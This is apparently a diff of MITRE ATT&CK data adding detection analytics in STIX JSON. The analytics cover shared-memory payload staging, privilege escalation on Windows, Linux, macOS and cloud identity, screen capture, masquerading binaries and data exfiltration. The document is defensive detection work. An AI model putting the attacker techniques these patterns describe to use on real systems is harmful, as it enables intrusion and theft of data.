"x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--05645013-2fed-4066-8bdc-626b2e201dd4", + "name": "WinEventLog:Application", + "channel": "WMI Object Creation Events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "RegistryPathFilter", + "description": "Scoped to suspicious or abused paths like HKCU\\Software\\Classes\\ or HKLM\\SYSTEM\\CurrentControlSet\\Services\\" + }, + { + "field": "PayloadEntropyThreshold", + "description": "Minimum entropy level to flag suspicious registry or WMI content as encoded payloads" + }, + { + "field": "TimeWindow", + "description": "Temporal window for correlating WMI/registry modifications with process creation or network usage" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b521510b-83bc-46a2-8fc8-65a6975bcfca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0344#AN0974", + "external_id": "AN0974" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0974", + "description": "Detects usage of shared memory directories (/dev/shm, /run/shm) for temporary storage of obfuscated, encoded, or executable data without persistence to disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open, write, unlink" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "file_events.path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PathPrefix", + "description": "Shared memory mount path used (e.g., /dev/shm/ or /run/shm/)" + }, + { + "field": "FilenameRegex", + "description": "Regex to match non-standard, suspicious, or encoded filenames" + }, + { + "field": "ExecCorrelationWindow", + "description": "Time window to correlate process execution from shared memory directories" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--11f18771-dd49-45f7-8ef5-05d3426d82d5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0975", + "external_id": "AN0975" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0975", + "description": "Correlate registry modifications (e.g., UAC bypass registry keys), unusual parent-child process relationships (e.g., control.exe spawning cmd.exe), and unsigned elevated process executions with non-standard tokens or elevation flags.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ElevatedProcessPath", + "description": "Paths to monitor for unsigned or unexpected elevated binaries" + }, + { + "field": "ParentProcessName", + "description": "Parent-child execution chains that are suspicious in the local environment" + }, + { + "field": "TimeWindow", + "description": "Time between registry modification and elevated process spawn" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--90a8d89c-f54a-49dd-8734-6f85e5e3a2a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0976", + "external_id": "AN0976" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0976", + "description": "Monitor audit logs for setuid/setgid bit changes, executions where UID \u2260 EUID (indicative of sudo or privilege escalation), and high-integrity binaries launched by unprivileged users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "auditd:SYSCALL", + "channel": "setuid or setgid bit changes" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "auditd:SYSCALL", + "channel": "execve with UID \u2260 EUID" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "auditd:SYSCALL", + "channel": "sudo or pkexec invocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedDirectories", + "description": "Paths where unauthorized setuid binaries may be dropped" + }, + { + "field": "UserContext", + "description": "Which users are allowed to run sudo/pkexec or modify binaries" + }, + { + "field": "TimeWindow", + "description": "Duration between file permission change and elevated command execution" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d8b422b3-50e7-48cc-bfa1-a6e0cecf5761", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0977", + "external_id": "AN0977" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0977", + "description": "Detect execution of `/usr/libexec/security_authtrampoline` or use of AuthorizationExecuteWithPrivileges API, and monitor process lineage for unusual launches of GUI apps with escalated privileges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "macos:unifiedlog", + "channel": "authorization execute privilege requests" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "auditd:SYSCALL", + "channel": "execve with escalated privileges" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "fs:fsusage", + "channel": "binary execution of security_authtrampoline" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedBinaries", + "description": "Specify binaries frequently targeted for privilege escalation" + }, + { + "field": "ExecutionParent", + "description": "Which applications should never be allowed to spawn elevated processes" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6385ccc0-f1a9-4198-997e-dec943e88db7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0978", + "external_id": "AN0978" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0978", + "description": "Monitor for unexpected privilege elevation operations via SAML assertion manipulation, role injection, or changes to identity mappings that result in access escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:signinLogs", + "channel": "unusual role assumption or elevation path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedRoleMappings", + "description": "Roles or groups that should never be assumed outside designated paths" + }, + { + "field": "TimeWindow", + "description": "Time between assertion issuance and critical privilege use" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9465ea54-a81a-4d00-a75d-e0b7f3392bb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0345#AN0979", + "external_id": "AN0979" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0979", + "description": "Detect sudden privilege escalations such as IAM role changes, user-assigned privilege boundaries, or elevation via assumed roles beyond normal behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "AWS:CloudTrail", + "channel": "role privilege expansion detected" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "AWS:CloudTrail", + "channel": "cross-account or unexpected assume role" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PermittedRoleTransitions", + "description": "Define valid transitions between IAM roles" + }, + { + "field": "CrossAccountBoundary", + "description": "Should flag if assumption crosses trust boundary" + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20e00aff-6389-4c8a-8e38-3b63924e1612", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0346#AN0980", + "external_id": "AN0980" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0980", + "description": "Unusual use of screen capture APIs (e.g., CopyFromScreen) or command-line tools to write image files to disk.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Depends on allowed parent process behaviors in the environment (e.g., explorer.exe vs powershell.exe)" + }, + { + "field": "TimeWindow", + "description": "Can tune alert thresholds for rapid or scheduled screenshots (e.g., interval-based screen capture)" + }, + { + "field": "ImageExtension", + "description": "To detect file writes (e.g., .bmp, .png) that deviate from typical user activity" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5f1a4795-74e5-49b9-85bb-e186ca699648", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0346#AN0981", + "external_id": "AN0981" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0981", + "description": "Invocation of built-in commands like screencapture or use of undocumented APIs from suspicious parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process: exec" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLineRegex", + "description": "Customize regex for flag detection (e.g., `screencapture -x`) based on usage patterns" + }, + { + "field": "ParentProcessName", + "description": "May vary depending on expected screencapture behavior (Terminal vs remote agent)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--121a5310-3157-47b1-925e-998767c0ec06", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0346#AN0982", + "external_id": "AN0982" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0982", + "description": "Use of tools like xwd or import to generate screenshots, especially under non-GUI parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TerminalSession", + "description": "Filter based on TTY sessions or remote terminal usage" + }, + { + "field": "ExecutablePath", + "description": "Match against known location of xwd/import binaries or renamed variants" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--61256fb2-d490-4e1d-b308-665a2d68ec64", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0983", + "external_id": "AN0983" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0983", + "description": "Detects processes or binaries executed from trusted directories (e.g., System32) or using trusted names (e.g., svchost.exe) where the metadata, hash, or parent process does not align with legitimate activity patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "trusted_directory_list", + "description": "Paths such as C:\\Windows\\System32 that adversaries may abuse" + }, + { + "field": "process_baseline_age", + "description": "Time window to determine process novelty (e.g., 30 days)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--adf3e421-95ec-4b5a-9c00-0262cb888c0a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0984", + "external_id": "AN0984" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0984", + "description": "Detects renamed binaries or scripts placed into trusted paths like /usr/bin or /lib with mismatched metadata or unexpected creation/modification times.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "auditd:SYSCALL", + "channel": "rename" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "linux:osquery", + "channel": "Filesystem modifications to trusted paths" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "monitored_paths", + "description": "Set of system or application directories considered sensitive or trusted" + }, + { + "field": "hash_validation_window", + "description": "Timeframe during which a newly created file should have its hash validated (e.g., within 5 minutes of write)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--466a2102-fcb3-4372-9a8d-ad8fe34e94ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0985", + "external_id": "AN0985" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0985", + "description": "Detects binaries or launch daemons in /System/Library or /Applications with mismatched bundle names, unexpected metadata, or improper installation origin.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "macos:unifiedlog", + "channel": "log collect from launchd and process start" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "fs:fsusage", + "channel": "filesystem monitoring of exec/open" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "expected_bundle_names", + "description": "List of known application names and paths to validate against" + }, + { + "field": "signed_by_apple_check", + "description": "Toggle to enforce checks for Apple-signed binaries in trusted directories" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c9bdc7a6-ff19-46e9-a534-fa2fd3e0a193", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0986", + "external_id": "AN0986" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0986", + "description": "Detects malicious containers or pods using names, labels, or namespaces that mimic legitimate workloads; also checks for image layer mismatches and unauthorized resource deployments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b597a220-6510-4397-b0d8-342cd2c58827", + "name": "kubernetes:apiserver", + "channel": "Resource creation and update logs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "containerd:events", + "channel": "Docker or containerd image pulls and process executions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "trusted_namespace_list", + "description": "List of namespaces that should not be used by unprivileged users or workloads" + }, + { + "field": "image_baseline_hashes", + "description": "Reference hashes of approved container images" + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d16be21c-6df4-4648-91cd-36152dafa38d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0347#AN0987", + "external_id": "AN0987" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0987", + "description": "Detects VIBs, scripts, or binaries placed into directories like /bin or /etc/vmware with names mimicking standard ESXi components. Also monitors unauthorized creation of services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "esxi:vmkernel", + "channel": "Exec" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "esxi:vmkernel", + "channel": "module load" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "esxi:hostd", + "channel": "Service events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3", + "name": "esxi:hostd", + "channel": "task creation events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "esxi_baseline_file_list", + "description": "Known good binaries and their expected paths" + }, + { + "field": "service_creation_alert_threshold", + "description": "Threshold for unknown service names or mismatched digital signatures" + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--28c16139-9ce1-4dd7-b26a-e257f37e246c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0988", + "external_id": "AN0988" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0988", + "description": "Identifies suspicious outbound traffic volume mismatches from processes that typically do not generate network activity, particularly over C2 protocols like HTTPS, DNS, or custom TCP/UDP ports, following file or data access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "Flow/PCAP analysis for outbound payloads" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DataVolumeThreshold", + "description": "Set threshold for outbound transfer size exceeding typical C2 traffic (e.g., >1MB in <5min)." + }, + { + "field": "KnownBenignProcesses", + "description": "List of approved processes that may exhibit high outbound traffic (e.g., updates)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6914dd62-46a6-4de4-9c0b-afe1cb5b075d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0348#AN0989", + "external_id": "AN0989" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0989", + "description": "Monitors for processes reading sensitive files then immediately initiating unusual outbound connections or bulk transfer sessions over persistent sockets, particularly with encrypted or binary payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "conn.log + files.log + ssl.log" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "session stats with bytes_out > bytes_in" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OutboundEntropyScore", + "description": "Threshold for high-entropy payloads indicative of encoded or encrypted exfil data." + }, + { + "field": "ConnectionDuration", + "description": "Defines length of time over which transfer size must be aggregated to trigger detection." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--deb57305-6324-404d-a9d0-00aa0c285920", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": 